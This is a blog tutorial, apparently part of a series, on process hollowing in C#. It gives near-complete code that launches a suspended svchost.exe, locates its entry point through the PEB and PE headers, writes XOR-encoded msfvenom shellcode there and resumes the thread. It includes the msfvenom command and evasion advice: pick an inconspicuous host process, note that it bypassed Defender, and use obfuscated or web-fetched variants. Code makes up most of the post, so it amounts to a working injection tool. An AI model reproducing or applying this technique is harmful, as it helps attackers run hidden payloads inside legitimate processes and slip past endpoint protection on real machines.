Introduction
This post is part 2 of shellcode injection techniques. You can read part 1 here. In this one, we will look into Process Hollowing in C#.
Process Hollowing
Process Hollowing is a technique in which we use a legitimate process, inject it with our shellcode and make the process run our shellcode. According to Mitre Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess
, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection
or NtUnmapViewOfSection
before being written to, realigned to the injected code, and resumed via VirtualAllocEx
, WriteProcessMemory
, SetThreadContext
, then ResumeThread
respectively.
Nice. We know what imports we have to make. The flow chart of API calls will go like this
So we will be first creating a process in a suspended state using CreateProcess
, query the process using ZwQueryInformationProcess
, get some values using ReadProcessMemory
, write our shellcode using WriteProcessMemory
and then resume the thread using ResumeThread
.
Imports
We can start writing the code with these API imports. Using the Windows Docs and the calls we need, we get the imports as
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll")]
public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint ResumeThread(IntPtr hThread);
Pretty self explanatory. Look at my previous posts if this confuses you.
We also need some structs and enums for this to work. These are STARTUPINFO
, PROCESS_INFORMATION
and PROCESS_BASIC_INFORMATION
. These stucts, in the C# format can be found at Pinvoke website. We also have the SUSPENDED
state which we will provide as a creation flag to CreateProcess
to create a process in a suspended state. All combined these become
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniquePID;
public IntPtr InheritedFromUniqueProcessId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
public static class CreationFlags
{
public const uint SUSPENDED = 0x4;
}
public const int PROCESSBASICINFORMATION = 0;
These can be found here
Main Method
Now that we have the imports and structs set we can get into it.
First we will create our process in a suspended state. The process can be anything for a POC but use something that would be less sus to avoid detections. We also need to initialize some objects that we are going to use late.
1
2
3
4
5
6
7
PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
STARTUPINFO startup_info = new STARTUPINFO();
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
string path = @"C:\\Windows\\System32\\svchost.exe";
bool procINIT = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, CreationFlags.SUSPENDED,
IntPtr.Zero, null, ref startup_info, ref proc_info);
To make sure the process created sucessfully we can use a simple if statement and use procINIT
1
2
3
4
5
6
7
8
9
if (procINIT == true)
{
Console.WriteLine("[*] Process create successfully.");
Console.WriteLine("[*] Process ID: {0}", proc_info.dwProcessId);
}
else
{
Console.WriteLine("[-] Could not create the process.");
}
The process ID is fetched from the PROCESS_INFORMATION
struct that we initialized.
Paste the shellcode obtained from msfvenom
now. Ill be using the calc popping shellcode again but this time I’ll also be XOR encrypting it using msfvenom
. The command becomes
1
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp EXITFUNC=thread --encrypt xor --encrypt-key z
And the decrypting shellcode part is
1
2
3
4
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'z');
}
Then we need to get the PEB or Process Environment Block of the process in suspended state. THe PEB is a memory structure that every process has and it comtains some interesting fields that we can use to calculate things like ImageBaseAddress
, which is what we are going to do. But first we need to query the process to get the PEB Address and then add 0x10
offset to it to get the pointer to the base image address. We can get the PebAddress
from the PROCESS_BASIC_INFORMATION
struct that we have.
For the API ZwQueryInformationProcess
we will need a process handle, which we can retrieve from PROCESS_INFORMATION
. The second parameter is procInformationClass
which from the Microsoft Docs, we can set to 0 to get a pointer to the PEB structure. Then we can calculate the pointer to image base address with adding PEB Address and an offset of 0x10
.
1
2
3
4
5
uint retLength = 0;
IntPtr procHandle = proc_info.hProcess;
ZwQueryInformationProcess(procHandle, 0, ref pbi, (uint)(IntPtr.Size * 6), ref retLength);
IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);
Console.WriteLine("[*] Image Base Address found: 0x{0}", imageBaseAddr.ToString("x"));
Now we need to write the actual shellcode into the entery point address for it to execute. We cant directly write to it because the address changes due to ASLR (Address Space Layout Randomization). So we need to calculate it for each process. That can be done by
- Calculating actual image base adress
- Calculating
e_lfanew
value - Calculating Entrypoint Relative Virtual Address (RVA)
- Calculating EntryPoint RVA
- Calculating actual abslute entrypoint address
I know thats a lot. We will be usingReadProcessMemory
to read the memory for these addresses and calculate them. First we will calculate the actual image base for executable address. We will be setting the base address bytes to0x8
for x64 process. Then read the memory to those base address bytes of PEB to get the address we need. The 0 inBitConverter
indicates the starting point. We are reading 8 bytes in asToInt64
.1 2 3 4
byte[] baseAddrBytes = new byte[0x8]; IntPtr lpNumberofBytesRead = IntPtr.Zero; ReadProcessMemory(procHandle, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out lpNumberofBytesRead); IntPtr execAddr = (IntPtr)(BitConverter.ToInt64(baseAddrBytes, 0));
After getting that, we will be reading the memory but this time to
0x200
bytes from the base address we just got to parse the PE structure.1 2
byte[] data = new byte[0x200]; ReadProcessMemory(procHandle, execAddr, data, data.Length, out lpNumberofBytesRead);
Then we can calculate the
e_lfanew
value which contains the PE Header at the offset of0x3c
. The value ofe_lfanew
is 4 bytes so we will be usingToUint32
.1 2
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C); Console.WriteLine("[*] e_lfanew: 0x{0}", e_lfanew.ToString("X"));
We can get the RVA offset by adding
0x28
into thee_lfanew
value that we have which contains PE Header pointer.1
uint rvaOffset = e_lfanew + 0x28;
We are going to read 4 bytes into the RVA offset to get the offset of the executable entrypoint address
1
uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);
Finally we can add RVA and the base address to get the absolute value of the Entrypoint Address that we can write our shellcode to.
1 2
IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva); Console.WriteLine("[*] Entrypoint Found: 0x{0}", entrypointAddr.ToString("X"));
Now that we have the address we need we can write our shellcode in it using
WriteProcessMemory
. We are going to give it the process handle, the entrypoint address we want to write to, thebuf
which contains the shellcode which we are writing, and the length.1 2
IntPtr lpNumberOfBytesWritten = IntPtr.Zero; WriteProcessMemory(procHandle, entrypointAddr, buf, buf.Length, ref lpNumberOfBytesWritten);
Once that is done we can resume the thread that we had suspended at the start using
ResumeThread
. We need to give it a thread handle which we can again retrive from thePROCESS_INFORMATION
struct.1 2
IntPtr threadHandle = proc_info.hThread; ResumeThread(threadHandle);
If everything went well you should have execution of your shellcode. If not look at your code again or you can always contact me and I’ll be happy to help.
Code
You can find the code at my github here. I have some other functionalities like sleep, courtesy of Snovvcrash whose code is here. Also made the code look a bit less shitty. There is also a obfucated version present here which was obfuscated using Rosfuscator by Melvin Langvik. Works pretty well. I aslo have a powershell script that pulls the executable from the web if not touching disk is your thing. Pretty basic for now. Will be making it like PowerSharpPack soon.
Conclusion
Let me know if you need help or whatever. My socials are at the bottom left. If there’s any mistakes or something I missed please reach out. This is basic but still executed my shellcode with Defender active. But you can always built upto it with encrypted shellcodes, or not having shellcode at all and fetching it from the web etc. Ill leave that to the reader. If some things might sound new to you I do recommend reading the PE Structure which would help you understand the terms like e_lfanew
.
References
All credits to these amazing posts and code which I constantly found myself reading.